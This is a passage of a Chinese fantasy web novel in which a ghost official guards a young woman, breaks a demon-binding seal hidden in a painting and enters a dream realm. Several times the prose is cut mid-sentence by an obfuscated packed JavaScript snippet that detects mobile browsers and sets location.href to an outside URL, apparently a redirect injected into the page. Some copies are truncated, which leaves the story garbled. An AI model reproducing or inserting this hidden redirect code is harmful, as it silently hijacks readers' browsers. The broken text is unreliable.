真是服了,宋宋在心里暗骂着,一下子就摊牌摊成这样,搞得她编瞎话都很难编。 虽然说着难编,但嘴上还是毫不犹疑地叭叭了起来:“快走吧,别影响人家练功吸阳气。” 民国女生:“……” 慕乔一咬牙,狠踩油门直接冲了过去,车子又开始在这条空无一人的林荫大道上向前驶去。 等到看不见那个女生背影的时候,慕乔觉得自己整个人都已经湿透了,哪怕是再不敏感,现在她也知道大概是遇到什么了。 “哥哥,要不你来开吧,”慕乔把车子在路边缓缓停住,转头向顾清元说道,话音中已带哭腔,“我觉得我,我不行。” 听她这么一说,顾清元直接就解开了安全带,准备下车交换位置。 “你先等一下,”宋宋说道,然后转头看向慕乔,慕乔也一脸惊恐地看向她。整个人鼻尖和眼角都红红的,感觉马上就要哭出来。 身为冥官,宋宋三千年来都是在万古愁,镇守无有尽数的痴魂怨鬼,从不过问凡间事,亦和凡人毫无往来。 但当着她面就整妖妖调调吓唬凡人这死出,也是她绝对不能接受的。 笑话,她今天要是让慕乔害了这个怕,退了这个缩,认了这个自己不行,她这三千年就算白干! 况且怎么就顾清元行,她慕乔就不行了?她凭什么就要自认自己不如他? “慕乔,你信我,可以的,你可以开过去。”宋宋看着她坚定地说道,斩钉截铁,气势如虹,不像是在讨论如何通过鬼打墙,而是要一越万里山河。 “你下来,”宋宋又把攻势对准坐在副驾驶,正定定看着她出神的顾清元说道,“是你不行,不是她不行,咱们换位置。” 说完,就率先打开车门出去了。 为了让慕乔彻底安心,绝不再多添一点心理阴影,宋宋想了想,在身后用指甲把食指快速划出了一道血痕,然后趁着换位置,在车身上悄悄画上了自己的冥印——一个小篆的宋字,像是符篆,却没寻常符篆那么复杂。 真是漂亮,宋宋看着自己的杰作翘了翘嘴角,看看这书法功底,草草逸笔,自得真意。 而她站在阳光下,一袭红裙,活像一面迎风招展的红旗。 红旗趾高气昂地坐上了副驾驶。 而前副驾驶,那位被她比喻为晒太阳的陈皮,则依旧温温吞吞,没有多说什么话,也没有辩驳什么,安静换到了后面,只是在看到车身痕迹的时候,微微皱了下眉。 “来吧!开车!”红旗大手一挥,招呼慕乔出发。 慕乔:“姐姐,你得系上安全带。” 宋宋:“哦,我不会。”红旗的气焰一下低下去了几分。 慕乔笑着伏过身,将她环住,宋宋整个人投降似的立刻举起手来,任由慕乔帮她整理戴好。 来来回回这么一闹,慕乔也彻底放松下来,然后从心底莫名涌出了一股勇气,她好像还是不大相信自己,但是为了……,为了她,她愿意试着相信自己! 顾清元在后面意味不明地低头扶了扶额,不知道在想些什么。 宋宋从后视镜看到后,立刻又出言送上安慰:“你也不要怕,实在害怕就这样低头别看就行。”完全忘了自己是要去人家家里,接受大师驱邪的。 虽然看他一直不顺眼,又怀疑他有江湖骗子的嫌疑,但能安安静静不多言不多语,老老实实听指挥,也着实勉强算个优点。 “好。”顾清元轻笑着答到。终于得到一个正面的评价,真是不容易。 宋宋:“来,出发!” 慕乔深吸一口气,轻踩油门又开始上路。 有冥印加身的车,普通人看不出来什么,但在冥界人眼中,却是有着非凡的意义,属于受冥官直接征召,不仅人间的游魂野鬼见到要避让,就是下到冥界,也能一路畅通无阻。 这次再上路,两边的密林先是慢慢退去,远方看得见一些寻常做生意的招牌门店了,然后周围的喧嚣声也逐渐多了起来,车辆鸣笛声、路边笑骂闲谈声,裹挟着初夏的热浪,一波接着一波涌来。 像是从封寂万年的原始森林,重新回到了海——由滚滚红尘、种种人间汇成的海。 慕乔第一次觉得热闹喧嚣竟然如此美好,而且,她竟然做到了!她好像比她想象中的还要勇敢一点点!她一边开着车,一边难掩激动地看向宋宋。 宋宋终于松下一口气,又懒懒倚在靠背上,一脸“好了好了,我就说你可以吧,这有什么大不了的”得意又故作寻常的表情。 重新回到熟悉的街区,慕乔熟练地打着方向盘,准备拐过最后一个弯,向丽都新苑驶去——那是顾清元之前和父母一起住的地方。 在父母过世后,他就被接到了慕家一起同住,后来等他上了大学,他自己才又回到这边,稍微改造了一番,现在属于半工作室半住宅。 之前他计划要出家,已经把这套房子和自己的车全都托付给了慕乔处理,现在兜兜转转,竟然又一起回来了。 慕乔在心中暗暗想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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不!还有后面删掉不算,这些和我没有关系,顾清元一下恍过神来,心虚地咳了一下,开始努力把刚才不该有的想法全忘掉。 而这一声轻咳,在宋宋听来,则像是有意提醒一样,才发现自己原来还牢牢抓着他的胳膊,立刻飞也似地甩开了手。 可刚甩开之后,她又开始真晕了,一段记忆快速地从脑海深处席卷而来: “阿云,你为什么总看着竹子?”那个长得和顾清元一模一样,却又不是他的人,隔着千年的时间问道。 阿云:“我喜欢” 宋宋听着自己静静答到。 “嗯……那你愿意总看着我吗?”男子垂着头缓缓发问,看似漫不经心,骨节分明的手指却连茶杯都拿不稳,洒出了一点在白色长衫上。 阿云,曾经的宋宋,似是困惑的想了一下,然后直言答到:“我不知道,但我会一直看着你的。” 记忆结束。 宋宋从天旋地转中清醒过来,看见那张和记忆中一样的脸正关切地看着她。 她想再抓住点什么,却又什么都没抓到,一种难以言喻的宏大空虚隔着时空压了过来,眼前的这个人不是他但又是他;记忆里的那个人是他,但又永远不会再是了。 顾清元焦急地问道:“你还好吗?” 宋宋发自真心迷茫地回答着:“我不知道,但我会好的。”哪怕只是片段式的记忆,带来的冲击力之大还是一时间很难缓过来。 但我会好的,我会好的,一向如此,她暗暗坚信着。 8. 天木香 但冲击总是一波接着一波,接二连三的来。 之前只知道这里被顾清元改成了工作室,但并没说是做什么的。 等宋宋被他们两个扶进门,才发现原来竟是个画室。 整个客厅里并没有寻常人家的家具电器,反而放着一张长长的大木桌,用来作画。 长桌左侧应该放沙发的地方,被改成了一个一通到顶的大书架,不同格子间宽宽窄窄,横七竖八地放着很多临摹画册。 而右侧本来装电视的地方,被改成了作品墙,似乎是用灰色或浅麦色的毛毡覆盖了整面墙,上面大大小小钉着许多山水花鸟画,层层叠叠间,看不清后面到底还有什么。 整个屋子都被一种淡淡的墨香笼罩着,顾清元进去把客厅的窗子打开了一扇,夏日暖风席卷进来。 他穿着薄薄的浅米色衬衫站在那一墙的画作旁,衣角和纸边连在一处,仿佛像是宣纸成了仙,化了人形一般,极淡,反衬着那一双默默看过来的眸子,极艳。 之前看宋宋在车上写下的小篆“宋”字,他便知道她是极擅长书法的,所以,这件被改成画室的屋子,她应该会很喜欢吧。他莫名有些期待着。 怎么说呢,论情绪要如何平复? 先是在地下车库被稍微吓了一跳,但进电梯之后,随着记忆突然一恢复,那种无明而来的迷茫伤感,就把之前的惊惧盖过去了。 而现在进了屋之后,磅礴的恼怒羞耻乃近恨意,一下又刚刚的惆怅全压下去了。 她看着眼前的一切,尘封多年,自以为早就被轻松放下的心事又被一并激活。 与其在这里待着,她宁愿直接出去挨雷劈。 慕乔看她一进屋就直勾勾盯着那一墙的画作,以为她一定是非常感兴趣,便凑过来兴奋地说到:“姐姐,你也喜欢画画吗?我哥他超会画,你要是有什么喜欢的,就让他给你画,让他教你都行!” “我不喜欢,”宋宋第一次这么冷冷地,不容分说地答道,“所有这些,我都很讨厌。” 说完,整个房间的气氛也压抑了下来。 她有点后悔,觉得不应该把气撒到慕乔身上,可还是忍不住,甚至生理性地恶心想吐。 宋宋强忍着走到了客厅的落地窗边,直直望向窗外,决绝地不愿意回头再看一眼。 慕乔默默走到一旁,稍微隔了几步的距离,乖巧发问:“姐姐,你是又想起什么了吗?” “嗯,是,”宋宋压制着翻涌的心绪,平静答道,“想起来了,小时候的事,不是什么好事。” “不是好事,那我们就不提了好不好,”慕乔又悄悄靠近了一点点,小心地说着,“我们想点高兴的吧!姐姐你有没有什么特别爱吃的,我可以做给你吃啊。” 看宋宋虽然没有说话,但是努力朝她僵硬笑了笑。慕乔立刻乘胜追击:“那我现在就去超市逛一逛!一会回来给你们晚饭做大餐好不好!” “慕乔!”宋宋和顾清元竟少见的,异口同声,同时叫住了她。 顾清元看向宋宋,停了下来,示意她先说。 虽然明明知道和他没有关系,再怨也怨不到转世轮回的他身上,但还是难以抑制地瞪了他一眼,不友好,不礼貌,甚至自己都觉得自己有点刻薄。 爱岗敬业放首位,尽职尽责永远是第一要义,宋宋反复给自己洗着脑,自己私事自己了,现在保证慕乔安全最重要。 她缓了缓,接着说道:“我现在头有点疼,实在没什么想吃的,你在家陪我待着吧,别出去了。” 说完,宋宋觉得自己终于缓了过来,像是穿过了一道压抑的屏障薄膜,重新又恢复到正常。 顾清元看着她,目光晦暗不明,又充满考究,他不知道宋宋为什么无端暴怒,但却清楚地知道,刚刚那一刻,手串上的那颗珠子第一次灼烧起来。 “咚,咚,咚” 客厅的窗前突然响起了强烈的撞击声。 虽然早有心理准备,但宋宋回头看见那位哀怨的民国少女,在外面朝着屋里一次次撞过来,还是稍有些略感不适。 要是在冥界,无论看见什么飞天遁地披头散发折腾的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15259175|166519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都觉得正常,无所谓;但在大家都安安分分老实行走的人间,她突然在八楼窗户外又蹦又跳的,突兀感和诡异感着实拉满。 但更诡异的是,似乎只有她听得见,看得见。 “那咱们直接好好睡一下午吧,”慕乔走到窗边,在窗外一双堪称怨毒的眼神中,施施然把窗户关上了,“姐姐,你头疼有可能是从昨天到现在一直没休息好。” 顾清元则是一脸岁月静好,在一旁默不作声地摆弄起了中央空调,专注打造完美午休环境。 现在她是真的有点头疼了。 慕乔带她在全屋各处熟悉了一圈,宋宋全程心不在焉,满脑子都是客厅“咚咚咚”的撞击声。 这间三室的房子是双卧夹厅的户型,内廊是主卧、卫生间与客卧呈品字形相连,而客厅的另外一侧还有一个单独的卧室。 她最后挑了客厅旁边的那个卧室,这间屋子的窗户朝向和客厅的一致,而且和其他两间卧室隔得比较远,做起事来也方便。而慕乔则住进了另一间客卧。 “有事的话直接叫我,我就在外面,”顾清元斜倚在门边说到,想了想又在一旁的书架上拿进来了一个小香炉,点上一支线香后,放在了她的床尾。 “这个可以驱邪,连点七天,便可夜梦平安。” 天木香缓缓逸开,闻起来舒缓宁神,可功效最多也就是宁个神了,指望这个驱邪,还不如直接放把呲花…… 宋宋:“……谢谢。”然后直接躺倒在床上,开始认命般接受着熏香的洗礼。 顾清元轻笑着掩门出去,回到客厅。 咚咚咚,敲窗户的声音依然响个不停,确认四下无人后,他直直地盯了过去,突然四目相对,倒把窗外的那位反吓了一跳。 他微微眯了眯眼,正准备再靠近一些,却闻到天木香的味道似有似无地飘了过来。 旋即装作在书架上挑书的样子,翻了几翻,抽出一本古帖,安安静静坐了下来。 而刚刚还表示一定好好休息一下的宋宋,已然神魂出窍,直接从隔壁穿墙走了出来。 9. 蕉鹿梦 宋宋换回了墨绿色长袍,如墨一般乌黑的长发,也用墨绿色的发带高高束起。 三千年来,她在冥界往来行事,一向如此穿着,自己都没怎么想过为什么如此偏爱一种颜色。 竹子? 片刻失神后,一种难以言喻的厌恶又涌了上来。 她烦躁地甩了甩手,径直向窗边走去。 宋宋用手在窗边轻轻试探着界限,指尖触摸处,有道道金色的经文快速流转,整个房间都被笼罩其中。 “缚魔印?”她对阵法一向了解不多,但对于和魔族相关的到甚为精通。 宋宋转过身,向顾清元看过去,他正在画桌前安静地翻阅着峄山碑,似是对周遭一切都毫无察觉。 这就奇怪了,缚魔印顾名思义,是要将妖物邪祟困缚其中的阵法。 与其说是窗外的民国双马尾进不来,实则是他们被封在了屋中出不去。 见她换上冥官服制,认真研究其结界后,窗外的那位倒也不再拼命撞过来了,反倒默默哭了起来,像是受了天大的委屈一样。 宋宋倒退几步,手腕一翻,又一挑,一柄闪着寒光的弯刀便将封印划出了长长一道,刺耳的划痕声震得窗外的民国女学生哭得更大声了。 宋宋全程紧盯着顾清元,却见他分毫不为所动。 她几度试着窥探顾清元心声却都以失败告终,或许因为情劫的关系,他有什么特殊保护机制?于是便也没多在意。 宋宋自从在盛仙桥那晚相见起,便从慕乔的记忆里,看见过他有一位常年随之修行的师父,也就是盛仙寺里的那位僧人。 不过慕乔从未和他见过面,所以宋宋也无从窥到其容貌。 或许是那位僧人在他家里布置的吧,她静静想着,同时用弯刀在结界四处不断轻敲着。 金色的经文在其间流转的愈发猛烈,结界内外两侧甚至隐隐响起了念经的声音。 窗外的民国女学生在这种金光中,似是忍受着极大的痛苦,整个人的面容都愈发狰狞起来,却一步也不愿后退,不再哭,也不再闹,只是满眼祈求地看向宋宋。 又是一个把万古愁当许愿池跳的,宋宋无奈地摇了摇头,随着翻飞的经文在屋中迅速寻找着。 缚魔印的阵眼一般都是些天然带有灵气的石头。可这个阵的石头,是不是灵气有点太足了? 按理来说,根本不用找,光她这一顿敲,就应该已经敲碎了,但现在却依然岿然不动。 一个个金色的文字,像一张流动的金色的密网,将整个屋子都牢牢捆缚其中。 但只要流动,就必有源头,宋宋全神贯注追随着文字流转,旋即又用全力敲了一下。 真有意思。 她停下手,向那面画墙走去,强忍着憎恶的心情,开始在上面细细推敲起来。 最后目光落在了一幅仿范宽的《溪山行旅图》上。远景高峰耸立,气势憾人;中景层峦叠嶂,旅队负重前行;近景的草木山石,中锋运笔,皴法严谨。 唯有一处,在湍急溪流与巨石的衔接处,被隐秘地画上了一道符文。 原来是这样,整个阵眼竟用的是画中的灵石,而这块石头又与整座画中高山的气脉相连,从而让这个缚魔印的威力发挥到了的最大。 普通灵石尽可轻松敲碎,但这里要击碎的,确是一整座高山。 宋宋突然有些敬佩起这个布阵的人了,两重技法叠加在一块,有种四两拨千斤的微妙。 她回头看向顾清元,只见他依旧看着碑帖出神,旁边的纸墨笔砚倒是一应俱全,为一会开始临帖做足了准备。 找到阵眼之后,并不难破,但如果直接毁了这幅画,到底是可惜了。 当年她还是鲛人的时候,曾立誓画遍山水,可成为冥官后,却因为难以磨灭的耻辱,一笔未在动过。 就在刚刚研究山水画的时候,她好像忽然忘记了一切,什么冥官、情劫、缚魔印,全都不重要了,只有眼前高山的气脉与意境是真的。 你竟然又能对它动心,宋宋自嘲地笑了笑。 算了,就当是为了冥官尽职尽责吧,反正也没人看到,她绕到顾清元一侧,悄悄用一束发丝沾了点墨。 寻常人画画都得各类毛笔一应俱全才愿下手,但她小时候作为一个鲛人,哪里找的来那么全的装备。 于是遇山开山遇水架桥,养一只乌贼,留一头长发,虽然经常整个人都弄得脏乱不堪,但到底可以尽情涂涂画画。 就是这样,她也愿意画。 现在,如此这样,你竟然又愿意画,她一边强烈地抵触着,却又一边万分投入地思索着要如何下笔,即要不着痕迹地将符咒覆盖掉,又要和整幅画的意境相融洽。 宋宋全身贯注地盯着那块山石研究着,全然没有察觉到顾清元已经放下碑帖,安静地看着她。 斧劈皴法如刀法,重落轻提,如锥画沙,她轻轻几笔,直接仿作画人所用皴法将那一处符咒轻轻覆盖上,阵眼虽破,但整幅山水却更严谨浑然了。 画完后,宋宋直起身,望着眼前的山水,愣着神,心中还在反复体会着下笔时那种久违的心动,一时间心中感受甚是复杂。 但由不得她继续沉溺,窗外的民国女生直接闯进屋内跪在她脚边,凄声说道:“请冥官大人,准我下万古愁。” “你这又是何苦呢。”宋宋转过来看着她,无奈说道。 刚刚缚魔印已经把她身上的魔性度化了几分,比较之前痴念成魔的状态,如今已经神智恢复,又何必…… “我想找他,我想找他……”跪在地上的民国女生直起身,痴痴说起来,越说,整个人又越发疯癫。 见状,宋宋用手中弯刀在她肩上轻敲了两下,她眼睛重又聚起神,哀戚地看过来。 “你要想好,我只杀不渡,下去了就没有机会出来了。” 听到宋宋这样说,顾清元微微皱了皱眉,把手中的碑帖又翻了一页。 似乎是想到了什么,宋宋又直接问道:“奉岚呢?你是怎么逃出来的?” 民国女生想了想,不情不愿地递给了她一片树叶,断断续续哭着说道:“奉岚大人说,我来找你,仙君也要来找你,可以帮我,帮她,都好。” 宋宋听得莫名其妙,但也知道她应该是魔性又要发作了,能说出来这些已经实属不易。 她右手握着弯刀死死压在她的脖颈上,如若在冥界,她还能把她镇入万古愁,留一线生机,但是要在这突然成了魔,那就只能当即斩杀了。 万古愁边,每当遇上初一十五大潮,便会有在其中彻底自困成魔的试图借势闯出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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旁边一直装作无事发生,毫不知情的顾清元,险些忍不住抬头看过来,但最后还是默不作声地把手中碑帖又翻了一页,继续安静听下去。 “慕乔,和慕乔有什么关系?” 司命看着宋宋耐心解释道:“昨晚顾清元生死簿被改了后,慕乔的命簿也随之受到影响。” 宋宋:“……”心虚地听着。 “按照原本命簿的话,她会认为是自己害死的顾清元,至此心性大变,郁郁一生。” “你把她救下来后,这个转折的触发点就消失了,必须再用一个新的补上。” 宋宋皱着眉,看了看那位一身民国装扮的女学生,问道:“所以?要用她吗?” 司命仙君点头答道:“对。” 宋宋不自觉地眉头皱得更紧了:“要这么严重吗?” 司命仙君无奈答道:“是啊,就是这样的一次生死离别,便足以让人痴念成魔了。” 顿了顿,司命仙君接着说道:“冥官可知道蕉鹿梦?” 宋宋缓缓点头:“梦和现实,混淆不清。” 司命点头道:“这次的命簿变动,就需要在梦中把现实里必须经历的,经历完。” 10. 晚枫阁 “可是,仙君……”还没等宋宋把话说完,便发现周围已经彻底换了一片天地。 她孤身一人站在一间画室之中,屋内窗明几净,梨花木长桌上,堪堪放着一张墨竹图,从用笔技法看来,正是出自她的手笔。 宋宋望着眼前的画作,一时有些哑然。在心中默默吐槽着,司命仙君办事效率也太快了吧,还没整清个所以然,这边说开始就开始了。 但为了朗宁,她决定还是要变现得镇定自若一点,不然显得之前她们两个办事太过摸鱼。 之前在万古愁的时候,宋宋也有尝试过以入梦的方式来替即将入魔的人,解开心魔。 可每每进入其中世界,都是一片几乎天地倒悬的混乱,在里面已然完全分不清到底是因为什么执念至此。 现在如今进入的这个梦,尚能较为分明,说明慕乔此刻的神智还未被那位民国女生全面遮盖。 宋宋沿着画室的台阶,拾级而下,待 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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